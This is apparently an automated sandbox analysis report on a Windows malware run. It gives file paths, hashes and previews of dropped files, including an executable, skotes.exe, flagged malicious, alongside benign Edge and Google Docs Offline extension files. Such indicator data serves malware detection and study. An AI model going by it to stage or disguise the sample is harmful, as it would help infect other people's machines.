C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsBAAFIJKKEH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3249152
Entropy (8bit):	6.629943445935846
Encrypted:	false
SSDEEP:	49152:pwtgb91GRPXmzno+0pOcIUoW34QJV9LVKAI6y:pwt291GNWzno+2d34QJjLPG
MD5:	24990FADD993AEA1F187795842B395D2
SHA1:	0BA088D0C129923BB621A592749906842E4C8CBA
SHA-256:	87F4341D8435358A9B093C6D6201D24B05EBDE6A94E4905CD9C03359C69ED386
SHA-512:	BE63DA184E56AC5FB34D88942C392DD4AE6D23AED024CE3C910A19532A2107C0A3320AEAB0FCB78AB5DD586E2A36A74CE4911F20C583C8C87867B6C751482133
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....N.2...@.................................W...k...........................L.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...vlyutnsq..........................@...fqcepduh......1......n1.............@....taggant.0....1.."...r1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.403469801767896
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrw:8e2Fa116uCntc5toY8IM
MD5:	BE48B70243E2DA991FE8242D37D46ACA
SHA1:	92DFD5E1218BDD81967762889C5822366DB19A7C
SHA-256:	EC275DEB807DE73DACA2E8E062603FE5AD4D9E965F24EB4EB18EFCE742F76426
SHA-512:	74DFBC87F44DAD6282BE7867DD499A24830718B0498903B37B19C9D55EE238AA6BEBA13B0E58594B9CD9CCF91A16889887748BEFE7E408182092F5A331C607B8
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e1f1331b-4993-4991-b8c2-809c8ae41061.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\f5850f50-68e0-49e5-9061-0b484c41083a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\97ea5eb4-6fe7-4c7d-b658-d81640ae2502.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
